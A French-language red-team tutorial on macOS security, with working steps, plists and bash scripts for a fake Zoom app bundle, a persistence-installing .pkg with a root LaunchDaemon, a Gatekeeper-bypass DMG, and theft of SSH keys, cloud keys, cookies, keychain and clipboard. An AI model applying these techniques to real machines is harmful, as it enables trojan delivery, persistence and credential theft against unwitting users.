Cet article couvre les concepts de sécurité de base de macOS et sert, espérons-le, d'introduction aux environnements macOS red teaming.

Sujets couverts

• Vue d'ensemble de la sécurité macOS
  - Gatekeeper et XProtect
  - Moteur d'exécution renforcé
  - Protection de l'intégrité du système (SIP)
  - Transparence, consentement et contrôle (TCC)
  - macOS Sandbox
  - Trousseau
• Charges utiles d'accès initial et persistance
  - Bundles d'applications
  - Packages d'installation
  - Images de disque (DMG)
• Escalade des privilèges et post-exploitation
  - Connaissance de la situation
  - Vol de cookies
  - Surveillance du presse-papiers
  - Injection de code
  - Chargement Mach-O en mémoire

Rien dans cet article n'est une "nouvelle" recherche, mais plutôt des informations consolidées sur les sujets ci-dessus, à partir des ressources ci-dessous, en un seul endroit pour une lecture et une introduction plus faciles.

• Blogs
  - Patrick Wardle/Objective See
  - Adam Chester
  - Justin Bui
  - Csaba Fitzl
  - Wojciech Reguła
  - Cedric Owens
  - Chris Ross
  - Leo Pitt
• Vidéos
  - DEFCON 29 de Cedric Owens : Red Teaming macOS
  - OBTS de Cody Thomas : Red Teaming macOS
  - Wojciech Reguła's x33fcon : Red Teaming macOS
  - OBTS de Cody Thomas : Lock Picking the macOS Keychain
• Livres/Cours
  - The Art of Mac Malware de Patrick Wardle
  - OSMR d'Offensive Security
• Référence tout-en-un
  - Awesome-macOS-Red-Teaming

Gardien et XProtect

Gatekeeper est un mécanisme de sécurité conçu pour autoriser uniquement les applications de confiance à s'exécuter sur les systèmes, de la même manière que SmartScreen et MOTW sous Windows. Lorsque des fichiers exécutables sont téléchargés à partir d'Internet, ils sont marqués avec l' com.apple.quarantineattribut, qui déclenche le gatekeeper lorsque le fichier est exécuté.

Si l'exécutable est notarié, Gatekeeper vérifie la signature de code du fichier et présente une invite à l'utilisateur pour confirmer qu'il souhaite exécuter le fichier.

Si l'exécutable n'est pas notarié, Gatekeeper présentera une invite à l'utilisateur l'informant que le fichier ne peut pas être exécuté car il n'est pas signé. Pour exécuter des exécutables non signés, l'utilisateur doit cliquer avec le bouton droit sur le fichier, puis cliquer sur Ouvrir, au lieu de double-cliquer.

Suite à la vérification de la signature de code, XProtect, qui est l'antivirus intégré de macOS, analysera le fichier à la recherche de logiciels malveillants. XProtect utilise les règles YARA qui peuvent être trouvées via locate XProtect.yaraet sont pour la plupart inutiles à moins que vous n'exécutiez les charges utiles Metasploit par défaut. De plus, XProtect ne recherche les logiciels malveillants que sous trois conditions

• Le fichier est exécuté pour la première fois
• Le hachage du fichier a changé
• Les règles YARA de XProtect ont été mises à jour

Temps d'exécution renforcé

L'exécution renforcée est une fonctionnalité qui peut être activée sur les applications pour se protéger contre l'injection de code via le piratage de dylib, les variables d'environnement et l'injection de port de tâche. Un exemple de la façon dont le runtime renforcé protège contre l'injection est d'exiger que tout dylib chargé dans le processus soit signé avec le même certificat que l'application elle-même. Cela pose bien sûr des problèmes lorsqu'une application doit charger des dylibs tiers, ainsi, les applications peuvent avoir certains droits pour supprimer certaines de ces restrictions.

Nous pouvons répertorier les droits des applications via codesign -d --entitlements :- <file>ou la list_entitlementscommande dans Poseidon, et si l'un des éléments ci-dessous est présent, nous pourrons peut-être injecter dans l'application :

• Le com.apple.security.cs.disable-library-validationdroit permet à n'importe quel dylib, signé ou non signé, d'être chargé dans le processus. Selon l'emplacement des dylibs que l'application charge, cela peut ouvrir la porte au détournement de dylibs.
• Le com.apple.security.cs.allow-dyld-environment-variablesdroit permet aux dylibs d'être chargés à partir de la DYLD_INSERT_LIBRARIESvariable d'environnement. Cependant, ce droit à lui seul ne supprime pas les exigences de signature de code mentionnées précédemment. Si ce droit est présent avec le droit disable-library-validation, vous pouvez injecter dans l'application via DYLD_INSERT_LIBRARIES=malicious.dylib ./appde la même manière que LD_PRELOADsur Linux.
• Le com.apple.security.get-task-allowdroit permet à d'autres applications d'obtenir le port de tâche de votre application, ce qui revient à obtenir un handle vers un processus sous Windows. Il convient de noter que pour accéder à un port de tâche, votre code doit être exécuté en tant que root. Avec le port de tâches, vous pouvez ensuite effectuer votre injection de processus classique en écrivant du shellcode et en créant un thread.

Protection de l'intégrité du système (SIP)

SIP alias "sans racine" protège les fichiers système contre les modifications. Essentiellement, même en tant qu'utilisateur root, nous ne pouvons pas modifier certains fichiers système tels que les exécutables dans /bin/. Les fichiers protégés par SIP peuvent être identifiés via le restricteddrapeau.

SIP peut être désactivé via csrutil disable, cependant, il nécessite le redémarrage de l'appareil en mode de récupération, donc, cela est généralement hors de question du point de vue de l'équipe rouge.

Transparence, consentement et contrôle (TCC)

TCC est une fonctionnalité de confidentialité de macOS implémentée dans la v10.14+ qui invite l'utilisateur à accorder explicitement des autorisations lorsqu'une application tente d'accéder à certaines ressources telles que la caméra et certains dossiers, notamment , , , Desktopet Downloadsles Documentslecteurs/volumes.

Tenter d'accéder à une ressource protégée par TCC sans autorisations pourrait entraîner la génération accidentelle d'une invite, alertant l'utilisateur de votre présence et, en fin de compte, votre engagement se terminant plus tôt que prévu. Vous trouverez ci-dessous quelques fichiers utiles qui ne sont pas protégés par TCC :

• Fichiers et dossiers cachés dans le répertoire de base — ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
• Données d'application utilisateur —~/Library/Application Support/*
• Fichiers cookies — ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

La base de données TCC de l'utilisateur nécessite un accès complet au disque (FDA) pour interagir avec, cependant, si nous pouvons interagir avec elle, nous pouvons alors la modifier pour nous accorder l'accès à d'autres ressources. Nous pouvons vérifier si nous avons FDA sans inviter l'utilisateur en exécutant filela base de données TCC de l'utilisateur.

Les contournements TCC ne sont pas particulièrement "rares" et je vous recommande de consulter le blog de Csaba Fitzl pour vous tenir au courant des anciens et des nouveaux contournements.

bac à sable macOS

Le bac à sable macOS est une fonctionnalité dans laquelle les développeurs peuvent activer leurs applications si elles sont publiées en dehors de l'App Store, et obligatoire pour toutes les applications téléchargées directement depuis l'App Store. Les applications qui ont opté pour la fonctionnalité de bac à sable auront le com.apple.security.app-sandboxdroit et, comme leur nom l'indique, les forceront à s'exécuter dans un bac à sable. Les applications exécutées dans un bac à sable ont un accès extrêmement limité au système, comme la possibilité de lire ou d'écrire des fichiers sur le disque. Pour cette raison, certains chemins d'attaque sur macOS tels que le phishing via des macros ne sont pas attrayants. Comme les applications Microsoft Office optent pour le bac à sable et vous empêcheront de persister et de piller.

Porte-clés

Le trousseau peut être comparé à LSASS sous Windows et contient des secrets tels que des mots de passe et des clés pour les applications. Par exemple, une application peut chiffrer les fichiers qu'elle stocke sur le disque, et la clé de déchiffrement de ces fichiers est stockée dans le trousseau. Le trousseau système peut être trouvé à /Library/Keychains/System.keychainet le trousseau de l'utilisateur peut être trouvé à ~/Library/Keychains/login.keychain-db.

Vous pouvez télécharger le trousseau de clés de l'utilisateur, bien que les secrets qu'il contient soient cryptés avec le mot de passe de l'utilisateur. Selon que vous avez le mot de passe de l'utilisateur, vous pouvez utiliser Chainbreaker pour extraire des secrets ou vider le hachage du mot de passe du trousseau via --dump-keychain-password-hashun format pour hashcat qui est extrêmement lent à craquer.

Enfin, chaque entrée du trousseau est associée à des ACL et à des autorisations qui peuvent être consultées dans l'application Keychain Access. Les applications de confiance sont des applications qui peuvent effectuer des opérations sur l'entrée du trousseau sans inviter l'utilisateur. Cette liste se trouve sous l'onglet "Contrôle d'accès", et un cas intéressant est celui où la liste est "NULL", ce qui signifie que toutes les applications sont approuvées, à ne pas confondre avec une liste vide qui signifie simplement qu'aucune application n'est approuvée.

Si vous exécutez dans le contexte d'une application de confiance ou si la liste est NULL, et que vous disposez de l'une des autorisations ci-dessous, vous pourrez peut-être extraire des secrets sans demander à l'utilisateur :

• ACLAuthorizationDecrypt
• ACLAuthorizationExportClear
• ACLAuthorizationExportWrapped
• ACLAuthorizationAny

Charges utiles d'accès initial et persistance

Si vous souhaitez en savoir plus sur les types de charge utile pour macOS alternatifs à ceux répertoriés ci-dessous, je vous recommande de consulter le projet Mystikal et le billet de blog associé .

De plus, il convient de noter que les produits EDR sur macOS ne sont pas matures et fonctionnent essentiellement comme un produit de journalisation. Par conséquent, vous pouvez généralement utiliser n'importe quel agent C2 par défaut en plus de Metasploit, et ne pas avoir à vous soucier de l'EDR qui capture votre charge utile.

Ensembles d'applications

Les bundles d'applications (.app) sont l'un des types de programmes les plus courants et sont le format sous lequel presque tous les logiciels d'utilisateur final sont publiés. Les ensembles d'applications sont stockés dans /Applications/et affichés lorsque vous cliquez sur Launchpad. En faisant référence à la documentation d'Apple , un ensemble d'applications minimal a généralement la structure suivante :

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - Créer la structure du dossier du groupe d'applications

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

Ensuite, puisque les Mac Intel et Silicon sont désormais communs, nous pouvons créer à la fois une charge utile AMD et ARM Poseidon, puis les combiner dans un Mach-O universel qui peut fonctionner sur l'une ou l'autre architecture via, puis le placer dans le lipo -create <arm-payload> <amd-payload> -output <universal-payload>répertoire MacOS.

3 - Créez le Info.plistfichier.

En nous référant à la documentation des développeurs d'Apple, nous devrons spécifier quelques clés :

• CFBundleExecutable — Le nom de l'exécutable principal dans le répertoire MacOS (PoseidonPayload)
• CFBundleIconFile — Le nom de l'image de l'application (ZoomImageForPayload)
• CFBundleIdentifier — La chaîne qui identifie de manière unique votre application sur le système (com.examplepayload.Zoom)
• CFBundleName — Le nom de votre application (FakeZoom)
• CFBundleVersion — Le numéro de version de build de votre application (1.0.0)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>CFBundleExecutable</key>
 <string>PoseidonPayload</string>
 <key>CFBundleIconFile</key>
 <string>ZoomImageForPayload</string>
 <key>CFBundleIdentifier</key>
 <string>com.examplepayload.Zoom</string>
 <key>CFBundleName</key>
 <string>FakeZoom</string>
 <key>CFBundleVersion</key>
 <string>1.0.0</string>
</dict>
</plist>

Puisque nous créons une fausse application Zoom, nous pouvons simplement copier le fichier icns de Zoom hors du /Applications/répertoire (s'il est installé) et dans Resources/ZoomImageForPayload, cependant, vous pouvez également utiliser l'icône de votre choix.

Forfaits d'installation

Les packages d'installation (.pkg) sont des archives xar et un autre type de programme courant vu lorsque le logiciel doit être installé avec les privilèges root. Alors que les packages d'installation peuvent contenir une charge utile principale à exécuter lorsqu'ils sont ouverts, une alternative consiste à tirer parti des scripts "préinstallation" et "postinstallation", ce que leur nom implique, exécutera un script avant et après l'installation.

Pour cet exemple, nous allons créer un package d'installation qui utilise ces scripts pour enregistrer un LaunchDaemon pour la persistance en tant qu'utilisateur root lorsqu'il est ouvert.

1 - Créer la structure du dossier du package d'installation

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - Créez un fichier plist pour vous inscrire en tant que LaunchDaemon

Il n'y a vraiment qu'une seule valeur nécessaire dans ce fichier plist qui est ProgramArgumentset spécifie essentiellement ce qu'il faut exécuter lorsque le LaunchDaemon est déclenché.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - Créer les scripts de pré et postinstallation

Ces scripts ne sont que des scripts bash normaux, cependant, ils doivent commencer #!/bin/bashet se terminer par exit 0. Nous utiliserons le script de préinstallation pour copier notre plist et notre charge utile aux emplacements corrects sur le disque, puis le script de postinstallation pour enregistrer le LaunchDaemon.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

                    
                    
                
            

Pour créer le package d'installation à partir de ces scripts, nous pouvons simplement exécuterpkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

Nous pouvons décharger le LaunchDaemon en exécutant launchctl unload com.examplepayload.persistence.plistet il convient de noter que la suppression de la charge utile /Library/Application Support/était purement préférée, et elle peut être supprimée ailleurs.

LaunchDaemons ne représente qu'une forme de persistance sur macOS et si vous êtes intéressé par d'autres formes, je vous recommande de consulter le blog de SentinelOne .

Images disque (DMG)

Les DMG sont des volumes compressés qui peuvent contenir d'autres formats de charge utile. L'avantage de fournir votre charge utile dans un fichier DMG est que vous pouvez ajouter des éléments graphiques pour aider l'utilisateur à cliquer avec le bouton droit de la souris, puis ouvrez votre charge utile pour contourner Gatekeeper, car le DMG lui-même n'invoque pas Gatekeeper.

Pour créer un DMG authentique, nous devrons créer une image d'arrière-plan personnalisée, je préfère utiliser un logiciel légitime ou un fond d'écran d'entreprise avec draw.io , mais vous pouvez créer le vôtre comme vous le souhaitez.

Pour cette démo, je suis allé avec cette image comme base, et j'ai créé ceci :

Pour commencer, nous pouvons créer une image disque en ouvrant Disk Utilityet en sélectionnant "Fichier" puis "Nouvelle image" puis "Image vide…"

Nous pouvons sélectionner le nom de notre volume, puis changer le "Format" en "Mac OS étendu (journalisé)".

Ouvrez le fichier .dmg, qui est "exemple-payload.dmg" dans mon cas, et un volume apparaîtra sur votre bureau, puis ouvrez le volume, qui est "exemple" dans mon cas. Pour afficher les fichiers cachés sur macOS, vous pouvez cliquer sur "[shift] + [commande] + [point]".

Déplacez votre image d'arrière-plan dans le volume /Volumes/<volume-name>/en tant que fichier caché, avec votre charge utile. Pour cet exemple, nous pouvons réutiliser le bundle d'applications de la section ci-dessus.

Ensuite, nous pouvons cliquer sur le volume et sélectionner "Afficher" suivi de "Afficher les options d'affichage".

Sous "Arrière-plan", sélectionnez "Image", puis double-cliquez sur la case "Faites glisser l'image ici". Une nouvelle fenêtre du Finder s'ouvrira et vous pourrez sélectionner l'image d'arrière-plan à partir du volume. Si vous ne choisissez pas une image contenue dans le volume, cela peut entraîner des erreurs. De plus, nous pouvons redimensionner l'icône via "Icon Size".

Redimensionnez la fenêtre pour l'adapter à votre arrière-plan et centrez l'ensemble d'applications.

Une fois que vous êtes satisfait de la mise en page, et pendant que la fenêtre du Finder est toujours ouverte, cliquez avec le bouton droit sur le volume sur le bureau, puis cliquez sur "Ejecter".

Rouvrez Disk Utilityet sélectionnez "Images" puis "Convertir..."

Sélectionnez votre fichier DMG, puis sélectionnez "Cryptage : aucun" et "Format d'image : compressé"

Bien sûr, cette démo n'a pas trop de sens étant donné qu'il s'agit d'un arrière-plan Chrome, avec une application Zoom (lol), cependant, j'espère que vous aurez compris.

Une dernière chose à noter concernant les charges utiles est que les fichiers téléchargés via votre navigateur ajouteront l' com.apple.metadata:kMDItemWhereFromsattribut, qui indique d'où le fichier a été téléchargé. Si vous téléchargez votre charge utile Poséidon directement depuis Mythic dans votre navigateur avant de l'empaqueter, cela peut conduire à révéler accidentellement l'emplacement de votre serveur d'équipe. Vous pouvez supprimer cet attribut via xattr -d com.apple.metadata:kMDItemWhereFroms <file>.

Escalade des privilèges et post-exploitation

Cette section n'est pas exhaustive de toutes les activités que vous pouvez effectuer après avoir obtenu un shell et n'a pour but que de donner une idée générale de post-ex sur macOS.

Connaissance de la situation

Vous pouvez commencer par quelques contrôles de connaissance de la situation sur le système, soit en exécutant HealthInspector ou SwiftBelt , soit en parcourant manuellement les fichiers de configuration. Beaucoup de ces fichiers seront des fichiers plist au format binaire et pour les rendre lisibles, vous pouvez utiliser plutil. Certains fichiers intéressants pourraient être :

• Quelles applications l'utilisateur a-t-il dans le dock ? —plutil -p ~/Library/Preferences/com.apple.dock.plist
• Avec quels fichiers l'utilisateur a-t-il récemment interagi ? —plutil -p ~/Library/Preferences/com.apple.finder.plist
• Tu es sur quelle version de macOS ? —plutil -p /System/Library/CoreServices/SystemVersion.plist

Ensuite, vous pouvez commencer à télécharger certains fichiers qui ne sont pas protégés par TCC à partir du disque, y compris l'historique bash ou zsh de l'utilisateur, les clés ssh, les clés cloud (AWS, GCP, etc.), le trousseau et les cookies.

Étant donné que vous êtes sur un macOS, il est probable que l'organisation de votre engagement soit une entreprise technologique ou une startup, et Slack est courant dans ces environnements. Si c'est le cas, vous pouvez télécharger les fichiers suivants :

• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
• ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Ensuite, vous pouvez cibler les cookies du navigateur, pour cet exemple, nous utiliserons Google Chrome. Si vous avez le mot de passe de l'utilisateur, soit en le trouvant dans son historique bash ou zsh, soit en exécutant un prompteur de mot de passe , vous pouvez télécharger ~/Library/Application Support/Google/Chrome/Default/Cookieset déchiffrer le fichier hors ligne. Alternativement, si vous n'avez pas le mot de passe de l'utilisateur, vous pouvez utiliser des outils tels que WhiteChocolateMacademiaNut pour démarrer Chrome avec le débogage à distance activé, puis vider les cookies sur un websocket. Encore une fois, étant donné que les EDR mac ne sont pas matures, déposer des outils brouillés sur le disque ne devrait pas poser de problème.

Avec l'accès aux cookies du navigateur, vous pouvez ensuite ouvrir un SOCKS via la commande intégrée de Poseidon ou drop chisel et parcourir les sites internes. Plus précisément, vous souhaiterez peut-être cibler des sites de documentation internes tels que leur Confluence et leurs référentiels de code internes pour rechercher des informations d'identification privilégiées.

Surveillance du presse-papiers

Sur macOS, chaque fois que le contenu du presse-papiers a changé, un compteur est incrémenté. Ainsi, nous pouvons surveiller la valeur du compteur dans un intervalle et récupérer le contenu du presse-papiers s'il a changé. Poséidon a une commande intégrée clipboard_monitorque nous pouvons utiliser pour cela.

Quelques éléments supplémentaires à noter :

• La clipboard_monitorcommande filtre pour ne récupérer que du texte brut, donc si l'utilisateur copie un fichier binaire volumineux dans son presse-papiers, nous n'avons pas à nous soucier d'envoyer de grandes quantités de trafic sur notre C2.
• L'utilisateur root n'a pas accès au presse-papiers, donc tous les outils de surveillance du presse-papiers doivent être exécutés dans un contexte utilisateur.

Comme mentionné précédemment dans la section d'exécution renforcée, pouvoir injecter du code dans une application est utile du point de vue de l'équipe rouge, car cela peut potentiellement vous accorder des droits supplémentaires et un accès à des ressources dont vous ne disposiez pas auparavant.

Par exemple, votre charge utile initiale peut ne pas avoir accès au dossier Téléchargements, cependant, si vous pouvez injecter du code dans Chrome qui pourrait avoir le com.apple.security.files.downloads.read-writedroit, vous pourrez alors parcourir le dossier Téléchargements.

Pour trouver des cibles pour l'injection de code, vous pouvez exécuter la commande de Poseidon list_entitlementsqui recherchera les processus en cours d'exécution avec les droits mentionnés dans la section d'exécution renforcée.

De là, vous pouvez ensuite inspecter chaque processus pour trouver une cible potentielle.

Une autre forme d'injection de code non mentionnée précédemment est le "détournement d'électrons", qui est largement couvert par Adam Chester dans ce blog . Essentiellement, vous pouvez tirer parti de la ELECTRON_RUN_AS_NODEvariable d'environnement pour générer un processus en tant qu'enfant d'une application électronique, et comme les processus enfants héritent des autorisations TCC de leur parent, vous pouvez potentiellement obtenir leurs droits.

Chargement Mach-O en mémoire

Bien que cela ne soit certainement pas nécessaire avec l'état actuel des EDR macOS, il est possible d'exécuter Mach-Os en mémoire. Les API utilisées pour effectuer le chargement en mémoire varient selon les versions du système d'exploitation, je ne couvrirai donc pas cela, mais je recommande plutôt de consulter le message de Justin Bui et le message d'Adam Chester .